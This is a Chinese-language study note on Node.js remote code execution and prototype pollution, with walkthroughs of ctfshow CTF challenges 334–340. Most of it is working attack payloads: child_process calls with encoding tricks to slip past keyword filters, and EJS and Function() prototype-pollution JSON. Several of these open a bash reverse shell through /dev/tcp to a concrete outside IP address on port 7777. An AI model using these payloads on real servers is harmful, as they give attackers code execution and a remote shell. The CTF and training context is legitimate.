nodejs
nodejs的rce
- child_process.exec():衍生shell并在该shell中运行命令,完成后将stdout和stderr传给回调函数。
- child_process.spawn():该方法异步衍生子进程,不会阻塞Nodejs事件循环。
- child_process.spawnSync():该方法以同步方式提供等效的功能,其会阻塞事件循环,知道衍生的进程退出或者终止。
- child_process.execSync():他是child_process.exec()的同步版本,它会阻塞Nodejs事件循环。
child_process模块的使用例子如下:
require("child_process").exec("whoami",function(err,stdout,stderr){console.log(stdout);});
过滤
如果点被过滤可以用[]代替调用方法
require("child_process")[exec]("ls")
拼接绕过
require("child_process")["ex"+"ec"]("ls")
16进制绕过
require("child_process")["\x65\x78\x65\x63"]("ls")
Unicode编码
require("child_process")["\u0065\u0078\u0065\u0063"]("ls")
concat拼接绕过:
require("child_process")["exe".concat("cSync")]("ls")
Base64编码绕过
Obejct.values
object.values(obj)会返回一个数组,成员是参数对象自身的(不含继承的)所有可遍历属性的键,利用这个我们可以获取到child_process的方法,

1 | var x = Object.values(require("child_process"))[4](<'ls'>).tostring(); |
另外一些形式的payload
global.process.mainModule.constructor._load('child_process').exec('calc')
ejs
payload
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/114.116.119.253/7777/port 0>&1\"');var __tmp2"}}}{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}}
通过污染最上层影响整个模板
jade
`
1 | 1. |
ctfshow
334
下载zip文件,在user.js文件里面有账号和密码,在登陆界面内登录即可
335
nodejs的rce
payload=?eval=require("child_process").execSync('cat f*')
336
通过变量读取当前文件目录 __filename,过滤了exec,随便选一个绕过方式,+绕过的话要对+进行url编码,%2b
__filename:给出绝对路径
__dirname:当前目录的相对路径
读取文件:val=require(‘fs’).readFileSync(’/app/routes/index.js’,‘utf-8’)
337
1 | var express = require('express'); |
a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)这串代码是关键信息
传入a[:]=1&b[:]=2即可绕过,a与中括号内的内容要相同
338
原型链污染
proto:对象的__proto__属性,指向类的原型对象prototype
污染原型链,使对象去获取已经被污染了的原型,实现变量覆盖之类的
本题下载压缩包,在app.js里面发现,在routes文件夹里面有源码和登录源码,
1 | if(secert.ctfshow==='36dboy'){ |
关键是要使secert的原型链的ctfshow污染为36dboy,通过if判断,burpsuite抓包修改为下图再发包即可

注:nodejs的环境容易崩掉,只能打一次,否则需要重启靶场
339
在login文件里只设置了一个虚假的flag,我们需要在login文件进行原型链污染,再调用api路由的
1 | router.post('/', require('body-parser').json(),function(req, res, next) { |
Function()匿名函数:
Function("return x;");,匿名函数特性,需要有return
api中的函数相当于嵌套,将后一个括号的内容当作参数给第一个括号,可以在此进行变量覆盖
payload:{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/114.116.119.253/7777 0>&1\"')"}}
反弹shell


监听到了后,ls没有找到相关文件,查看evn 配置文件,在其中找到flag


340
跟上一题比较,套了两层,需要污染两层原型链

从login文件可以看出
payload={"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/114.116.119.253/7777 0>&1\"')"}}}
剩下的步骤等同于上一题
原型链污染
1 | function Parent () { |
当「方法」的 prototype 指定对象原型之后,当试图访问该类的对象属性时,它不仅仅在该对象上搜寻,还会搜寻该对象的原型,以及该对象的原型的原型,依次层层向上搜索,直到找到一个名字匹配的属性或到达原型链的末尾,类似于会去找自己的父类,一层层往上寻找
merge(a.b)
把右边的所有对象属性赋值给左边



变量覆盖,原型链污染
来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/ee7g8p4436vti0ie
语雀文档ID: 148315327